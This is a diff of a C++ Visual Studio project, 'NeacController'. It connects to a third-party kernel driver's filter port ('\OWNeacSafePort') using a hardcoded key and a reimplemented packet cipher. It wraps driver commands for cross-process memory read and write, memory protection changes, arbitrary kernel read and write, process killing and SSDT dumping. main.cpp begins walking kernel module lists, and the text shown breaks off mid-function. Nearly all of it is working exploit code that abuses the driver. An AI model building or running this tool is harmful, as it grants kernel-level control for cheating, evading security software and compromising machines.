Initial Upload
@@ -0,0 +1,31 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 16
|
||||
VisualStudioVersion = 16.0.32802.440
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "NeacController", "NeacController\NeacController.vcxproj", "{CBEB2E8A-2DD1-4012-AC5B-80B2F2E14432}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{CBEB2E8A-2DD1-4012-AC5B-80B2F2E14432}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{CBEB2E8A-2DD1-4012-AC5B-80B2F2E14432}.Debug|x64.Build.0 = Debug|x64
|
||||
{CBEB2E8A-2DD1-4012-AC5B-80B2F2E14432}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{CBEB2E8A-2DD1-4012-AC5B-80B2F2E14432}.Debug|x86.Build.0 = Debug|Win32
|
||||
{CBEB2E8A-2DD1-4012-AC5B-80B2F2E14432}.Release|x64.ActiveCfg = Release|x64
|
||||
{CBEB2E8A-2DD1-4012-AC5B-80B2F2E14432}.Release|x64.Build.0 = Release|x64
|
||||
{CBEB2E8A-2DD1-4012-AC5B-80B2F2E14432}.Release|x86.ActiveCfg = Release|Win32
|
||||
{CBEB2E8A-2DD1-4012-AC5B-80B2F2E14432}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {52461444-2090-44F8-A40C-24A3272C5F1D}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,155 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{cbeb2e8a-2dd1-4012-ac5b-80b2f2e14432}</ProjectGuid>
|
||||
<RootNamespace>NeacController</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>fltlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="controller.cpp" />
|
||||
<ClCompile Include="main.cpp" />
|
||||
<ClCompile Include="service.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="controller.h" />
|
||||
<ClInclude Include="service.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,36 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="源文件">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="头文件">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="资源文件">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="controller.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="service.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="controller.h">
|
||||
<Filter>源文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="service.h">
|
||||
<Filter>源文件</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
||||
@@ -0,0 +1,332 @@
|
||||
#pragma once
|
||||
#include"controller.h"
|
||||
#pragma pack(1)
|
||||
struct NEAC_FILTER_CONNECT {
|
||||
DWORD Magic;
|
||||
DWORD Version;
|
||||
BYTE EncKey[32];
|
||||
};
|
||||
#pragma pack()
|
||||
BYTE Key[33] = "FuckKeenFuckKeenFuckKeenFuckKeen";
|
||||
unsigned char enc_imm[] =
|
||||
{
|
||||
0x7A, 0x54, 0xE5, 0x41, 0x8B, 0xDB, 0xB0, 0x55, 0x7A, 0xBD,
|
||||
0x01, 0xBD, 0x1A, 0x7F, 0x9E, 0x17
|
||||
};
|
||||
void encrypt(unsigned int *buffer, unsigned int idx)
|
||||
{
|
||||
__m128i v2; // xmm0
|
||||
unsigned int *result; // rax
|
||||
int v4; // r9d
|
||||
__m128i v5; // xmm0
|
||||
__m128i v8; // [rsp+20h] [rbp-18h] BYREF
|
||||
|
||||
__m128i imm = _mm_load_si128((__m128i*)enc_imm);
|
||||
__m128i zero;
|
||||
memset(&zero, 0 ,sizeof(__m128i));
|
||||
v2 = _mm_cvtsi32_si128(idx);
|
||||
result = &v8.m128i_u32[3];
|
||||
v8 = _mm_xor_si128(
|
||||
_mm_shuffle_epi32(_mm_shufflelo_epi16(_mm_unpacklo_epi8(v2, v2), 0), 0),
|
||||
imm);
|
||||
v4 = 0;
|
||||
v5 = _mm_cvtsi32_si128(0x4070E1Fu);
|
||||
do
|
||||
{
|
||||
__m128i v6 = _mm_shufflelo_epi16(_mm_unpacklo_epi8(_mm_or_si128(_mm_cvtsi32_si128(*result), v5), zero), 27);
|
||||
v6 = _mm_packus_epi16(v6, v6);
|
||||
*buffer = (*buffer ^ ~idx) ^ v6.m128i_u32[0] ^ idx;
|
||||
++buffer;
|
||||
result = (unsigned int *)((char *)result - 1);
|
||||
v4++;
|
||||
}
|
||||
while ( v4 < 4 );
|
||||
return;
|
||||
}
|
||||
|
||||
void encode_payload(PBYTE key, PBYTE buffer, SIZE_T size) {
|
||||
for(int i = 0; i < size; i++) {
|
||||
buffer[i] ^= key[i & 31];
|
||||
}
|
||||
unsigned int* ptr = (unsigned int*)buffer;
|
||||
unsigned int v12 = 0;
|
||||
do
|
||||
{
|
||||
encrypt(ptr, v12++);
|
||||
ptr += 4;
|
||||
}
|
||||
while ( v12 < size >> 4 );
|
||||
}
|
||||
|
||||
HANDLE connect_driver() {
|
||||
NEAC_FILTER_CONNECT lpContext;
|
||||
lpContext.Magic = 0x4655434B;
|
||||
lpContext.Version = 8;
|
||||
memcpy(lpContext.EncKey, Key, 32);
|
||||
HANDLE hPort;
|
||||
HRESULT hResult = FilterConnectCommunicationPort(L"\\OWNeacSafePort",
|
||||
FLT_PORT_FLAG_SYNC_HANDLE,
|
||||
&lpContext,
|
||||
40,
|
||||
NULL,
|
||||
&hPort
|
||||
);
|
||||
if(hResult != S_OK || hPort == INVALID_HANDLE_VALUE) {
|
||||
return INVALID_HANDLE_VALUE;
|
||||
}
|
||||
return hPort;
|
||||
}
|
||||
|
||||
#pragma pack(1)
|
||||
struct GET_PROC_BASE_PACKET {
|
||||
BYTE Opcode;
|
||||
DWORD Pid;
|
||||
};
|
||||
#pragma pack()
|
||||
PVOID get_proc_base(HANDLE hPort, DWORD Pid) {
|
||||
const int buffersize = (sizeof(GET_PROC_BASE_PACKET) / 16 + 1) * 16;
|
||||
BYTE buffer[buffersize];
|
||||
GET_PROC_BASE_PACKET *ptr = (GET_PROC_BASE_PACKET *)buffer;
|
||||
ptr->Pid = Pid;
|
||||
ptr->Opcode = 32;
|
||||
encode_payload(Key, buffer, 16);
|
||||
|
||||
BYTE result[16];
|
||||
DWORD out;
|
||||
HRESULT hResult = FilterSendMessage(hPort, buffer, buffersize, result, 16, &out);
|
||||
if(hResult == S_OK) {
|
||||
PVOID *data = (PVOID*)result;
|
||||
return *data;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
#pragma pack(1)
|
||||
struct READ_MEMORY_PACKET {
|
||||
BYTE Opcode;
|
||||
DWORD Pid;
|
||||
PVOID Addr;
|
||||
DWORD Size;
|
||||
};
|
||||
#pragma pack()
|
||||
DWORD read_proc_memory(HANDLE hPort, DWORD Pid, PVOID Addr, DWORD Size, PVOID Out) {
|
||||
const int buffersize = (sizeof(READ_MEMORY_PACKET) / 16 + 1) * 16;
|
||||
BYTE buffer[buffersize];
|
||||
READ_MEMORY_PACKET *ptr = (READ_MEMORY_PACKET *)buffer;
|
||||
ptr->Pid = Pid;
|
||||
ptr->Opcode = 9;
|
||||
ptr->Addr = Addr;
|
||||
ptr->Size = Size;
|
||||
encode_payload(Key, buffer, buffersize);
|
||||
|
||||
DWORD out_size;
|
||||
|
||||
HRESULT hResult = FilterSendMessage(hPort, buffer, buffersize, Out, Size, &out_size);
|
||||
if(hResult == S_OK) {
|
||||
return out_size;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
#pragma pack(1)
|
||||
struct WRITE_MEMORY_PACKET {
|
||||
BYTE Opcode;
|
||||
DWORD Pid;
|
||||
PVOID Addr;
|
||||
DWORD Size;
|
||||
};
|
||||
#pragma pack()
|
||||
|
||||
DWORD write_proc_memory(HANDLE hPort, DWORD Pid, PVOID Addr, DWORD Size, PVOID In) {
|
||||
const int buffersize = (sizeof(WRITE_MEMORY_PACKET) / 16 + 1) * 16;
|
||||
BYTE buffer[buffersize];
|
||||
WRITE_MEMORY_PACKET *ptr = (WRITE_MEMORY_PACKET *)buffer;
|
||||
ptr->Pid = Pid;
|
||||
ptr->Opcode = 61;
|
||||
ptr->Addr = Addr;
|
||||
ptr->Size = Size;
|
||||
encode_payload(Key, buffer, buffersize);
|
||||
|
||||
DWORD out_size;
|
||||
|
||||
HRESULT hResult = FilterSendMessage(hPort, buffer, buffersize, In, Size, &out_size);
|
||||
if(hResult == S_OK) {
|
||||
return out_size;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
#pragma pack(1)
|
||||
struct PROTECT_MEMORY_PACKET {
|
||||
BYTE Opcode;
|
||||
DWORD Pid;
|
||||
PVOID Addr;
|
||||
DWORD Size;
|
||||
DWORD NewProtect;
|
||||
};
|
||||
#pragma pack()
|
||||
|
||||
BOOL protect_memory(HANDLE hPort, DWORD Pid, PVOID Addr, DWORD Size, DWORD NewProtect) {
|
||||
const int buffersize = (sizeof(PROTECT_MEMORY_PACKET) / 16 + 1) * 16;
|
||||
BYTE buffer[buffersize];
|
||||
PROTECT_MEMORY_PACKET *ptr = (PROTECT_MEMORY_PACKET *)buffer;
|
||||
ptr->Pid = Pid;
|
||||
ptr->Opcode = 60;
|
||||
ptr->Addr = Addr;
|
||||
ptr->Size = Size;
|
||||
ptr->NewProtect = NewProtect;
|
||||
encode_payload(Key, buffer, buffersize);
|
||||
|
||||
DWORD out_size;
|
||||
|
||||
HRESULT hResult = FilterSendMessage(hPort, buffer, buffersize, NULL, NULL, &out_size);
|
||||
if(hResult == S_OK) {
|
||||
return TRUE;
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
#pragma pack(1)
|
||||
struct START_WATCH_PACKET {
|
||||
BYTE Opcode;
|
||||
BYTE FunctionId;
|
||||
BYTE State;
|
||||
};
|
||||
#pragma pack()
|
||||
|
||||
BOOL update_state(HANDLE hPort, BYTE FunctionId, BYTE State) {
|
||||
const int buffersize = (sizeof(START_WATCH_PACKET) / 16 + 1) * 16;
|
||||
BYTE buffer[buffersize];
|
||||
START_WATCH_PACKET *ptr = (START_WATCH_PACKET *)buffer;
|
||||
ptr->Opcode = 1;
|
||||
ptr->FunctionId = FunctionId;
|
||||
ptr->State = State;
|
||||
encode_payload(Key, buffer, buffersize);
|
||||
|
||||
DWORD out_size;
|
||||
|
||||
HRESULT hResult = FilterSendMessage(hPort, buffer, buffersize, NULL, NULL, &out_size);
|
||||
if(hResult == S_OK) {
|
||||
return TRUE;
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
#pragma pack(1)
|
||||
struct KERNEL_WRITE_PACKET {
|
||||
BYTE Opcode;
|
||||
PVOID Dst;
|
||||
PVOID Src;
|
||||
DWORD Size;
|
||||
};
|
||||
#pragma pack()
|
||||
|
||||
BOOL kernel_write_data(HANDLE hPort, PVOID Dst, PVOID Src, DWORD Size) {
|
||||
const int buffersize = (sizeof(KERNEL_WRITE_PACKET) / 16 + 1) * 16;
|
||||
BYTE buffer[buffersize];
|
||||
KERNEL_WRITE_PACKET *ptr = (KERNEL_WRITE_PACKET *)buffer;
|
||||
ptr->Opcode = 70;
|
||||
ptr->Dst = Dst;
|
||||
ptr->Src = Src;
|
||||
ptr->Size = Size;
|
||||
encode_payload(Key, buffer, buffersize);
|
||||
|
||||
DWORD out_size;
|
||||
|
||||
HRESULT hResult = FilterSendMessage(hPort, buffer, buffersize, NULL, NULL, &out_size);
|
||||
if(hResult == S_OK) {
|
||||
return TRUE;
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
#pragma pack(1)
|
||||
struct KERNEL_READ_PACKET {
|
||||
BYTE Opcode;
|
||||
PVOID Src;
|
||||
DWORD Size;
|
||||
};
|
||||
#pragma pack()
|
||||
|
||||
BOOL kernel_read_data(HANDLE hPort, PVOID Dst, PVOID Src, DWORD Size) {
|
||||
const int buffersize = (sizeof(KERNEL_READ_PACKET) / 16 + 1) * 16;
|
||||
BYTE buffer[buffersize];
|
||||
KERNEL_READ_PACKET *ptr = (KERNEL_READ_PACKET *)buffer;
|
||||
ptr->Opcode = 14;
|
||||
ptr->Src = Src;
|
||||
ptr->Size = Size;
|
||||
encode_payload(Key, buffer, buffersize);
|
||||
|
||||
DWORD out_size;
|
||||
HRESULT hResult = FilterSendMessage(hPort, buffer, buffersize, Dst, Size, &out_size);
|
||||
if(hResult == S_OK) {
|
||||
return TRUE;
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
#pragma pack(1)
|
||||
struct KILL_PROCESS_PACKET {
|
||||
BYTE Opcode;
|
||||
DWORD Pid;
|
||||
};
|
||||
#pragma pack()
|
||||
|
||||
BOOL kill_process(HANDLE hPort, DWORD Pid) {
|
||||
const int buffersize = (sizeof(KILL_PROCESS_PACKET) / 16 + 1) * 16;
|
||||
BYTE buffer[buffersize];
|
||||
KILL_PROCESS_PACKET *ptr = (KILL_PROCESS_PACKET *)buffer;
|
||||
ptr->Opcode = 20;
|
||||
ptr->Pid = Pid;
|
||||
encode_payload(Key, buffer, buffersize);
|
||||
|
||||
DWORD out_size;
|
||||
HRESULT hResult = FilterSendMessage(hPort, buffer, buffersize, NULL, NULL, &out_size);
|
||||
if(hResult == S_OK) {
|
||||
return TRUE;
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
#pragma pack(1)
|
||||
struct GET_SSDT_PACKET {
|
||||
BYTE Opcode;
|
||||
};
|
||||
#pragma pack()
|
||||
|
||||
BOOL get_ssdt_items(HANDLE hPort, PVOID Out, DWORD Size) {
|
||||
const int buffersize = (sizeof(GET_SSDT_PACKET) / 16 + 1) * 16;
|
||||
BYTE buffer[buffersize];
|
||||
GET_SSDT_PACKET *ptr = (GET_SSDT_PACKET *)buffer;
|
||||
ptr->Opcode = 12;
|
||||
encode_payload(Key, buffer, buffersize);
|
||||
|
||||
DWORD out_size;
|
||||
HRESULT hResult = FilterSendMessage(hPort, buffer, buffersize, Out, Size, &out_size);
|
||||
|
||||
if(hResult == S_OK) {
|
||||
return TRUE;
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
|
||||
|
||||
#pragma pack(1)
|
||||
struct NOTIFY_MESSAGE_BASE {
|
||||
FILTER_MESSAGE_HEADER Header;
|
||||
BYTE NotifyType;
|
||||
DWORD MessageSize;
|
||||
DWORD64 Time;
|
||||
};
|
||||
struct PROCESS_NOTIFY_MESSAGE : NOTIFY_MESSAGE_BASE {
|
||||
DWORD64 Counter;
|
||||
BYTE Flag;
|
||||
BYTE CreateFlag;
|
||||
DWORD CurrentPid;
|
||||
DWORD CurrentTid;
|
||||
DWORD ParentPid;
|
||||
BYTE Padding[13];
|
||||
WCHAR ProcName1[512];
|
||||
WCHAR ProcName2[512];
|
||||
PVOID BackTrace[32];
|
||||
};
|
||||
#pragma pack()
|
||||
@@ -0,0 +1,24 @@
|
||||
#pragma once
|
||||
#include<Windows.h>
|
||||
#include<fltuser.h>
|
||||
#include<emmintrin.h>
|
||||
#include<winnt.h>
|
||||
HANDLE connect_driver();
|
||||
|
||||
PVOID get_proc_base(HANDLE hPort, DWORD Pid);
|
||||
|
||||
DWORD read_proc_memory(HANDLE hPort, DWORD Pid, PVOID Addr, DWORD Size, PVOID Out);
|
||||
|
||||
DWORD write_proc_memory(HANDLE hPort, DWORD Pid, PVOID Addr, DWORD Size, PVOID In);
|
||||
|
||||
BOOL protect_memory(HANDLE hPort, DWORD Pid, PVOID Addr, DWORD Size, DWORD NewProtect);
|
||||
|
||||
BOOL update_state(HANDLE hPort, BYTE FunctionId, BYTE State);
|
||||
|
||||
BOOL kernel_write_data(HANDLE hPort, PVOID Dst, PVOID Src, DWORD Size);
|
||||
|
||||
BOOL kernel_read_data(HANDLE hPort, PVOID Dst, PVOID Src, DWORD Size);
|
||||
|
||||
BOOL kill_process(HANDLE hPort, DWORD Pid);
|
||||
|
||||
BOOL get_ssdt_items(HANDLE hPort, PVOID Out, DWORD Size);
|
||||
@@ -0,0 +1,252 @@
|
||||
// NeacController.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
|
||||
//
|
||||
|
||||
#include <iostream>
|
||||
|
||||
#include<windows.h>
|
||||
#include"controller.h"
|
||||
#include"service.h"
|
||||
|
||||
DWORD parse_export_rva(const BYTE* moduleBase, const char* funcName) {
|
||||
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)moduleBase;
|
||||
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) return 0;
|
||||
|
||||
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(moduleBase + dosHeader->e_lfanew);
|
||||
IMAGE_DATA_DIRECTORY exportDirEntry = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
if (exportDirEntry.VirtualAddress == 0) return 0;
|
||||
|
||||
PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)(moduleBase + exportDirEntry.VirtualAddress);
|
||||
DWORD* nameRvas = (DWORD*)(moduleBase + exportDir->AddressOfNames);
|
||||
WORD* ordinals = (WORD*)(moduleBase + exportDir->AddressOfNameOrdinals);
|
||||
DWORD* funcRvas = (DWORD*)(moduleBase + exportDir->AddressOfFunctions);
|
||||
|
||||
for (DWORD i = 0; i < exportDir->NumberOfNames; i++) {
|
||||
const char* name = (const char*)(moduleBase + nameRvas[i]);
|
||||
if (_stricmp(name, funcName) == 0) {
|
||||
WORD ordinal = ordinals[i];
|
||||
return funcRvas[ordinal];
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
DWORD get_export_rva(const char *funcName) {
|
||||
char system32Path[MAX_PATH];
|
||||
|
||||
GetSystemDirectoryA(system32Path, MAX_PATH);
|
||||
|
||||
std::string kernelPath = std::string(system32Path) + "\\ntoskrnl.exe";
|
||||
|
||||
HANDLE hFile = CreateFileA(kernelPath.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
|
||||
if (hFile == INVALID_HANDLE_VALUE) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
HANDLE hMapping = CreateFileMapping(
|
||||
hFile,
|
||||
NULL,
|
||||
SEC_IMAGE | PAGE_READONLY,
|
||||
0, 0,
|
||||
NULL
|
||||
);;
|
||||
if (!hMapping) {
|
||||
CloseHandle(hFile);
|
||||
return NULL;
|
||||
}
|
||||
const BYTE* fileBase = (const BYTE*)MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
|
||||
if (!fileBase) {
|
||||
CloseHandle(hMapping);
|
||||
CloseHandle(hFile);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
DWORD rva = parse_export_rva(fileBase, funcName);
|
||||
UnmapViewOfFile(fileBase);
|
||||
|
||||
CloseHandle(hMapping);
|
||||
CloseHandle(hFile);
|
||||
return rva;
|
||||
}
|
||||
|
||||
PVOID SSDT_Items[0x1000];
|
||||
HANDLE hPort;
|
||||
PVOID find_krnl_images(PVOID PsLoadedModuleList, const wchar_t* name) {
|
||||
PVOID Ptr;
|
||||
kernel_read_data(hPort, &Ptr, PsLoadedModuleList, 8);
|
||||
WCHAR ModuleName[260] = {0};
|
||||
while(Ptr != PsLoadedModuleList) {
|
||||
memset(ModuleName, 0, sizeof(ModuleName));
|
||||
PVOID DllBase;
|
||||
kernel_read_data(hPort, &DllBase, (PBYTE)Ptr + 0x30, 8);
|
||||
|
||||
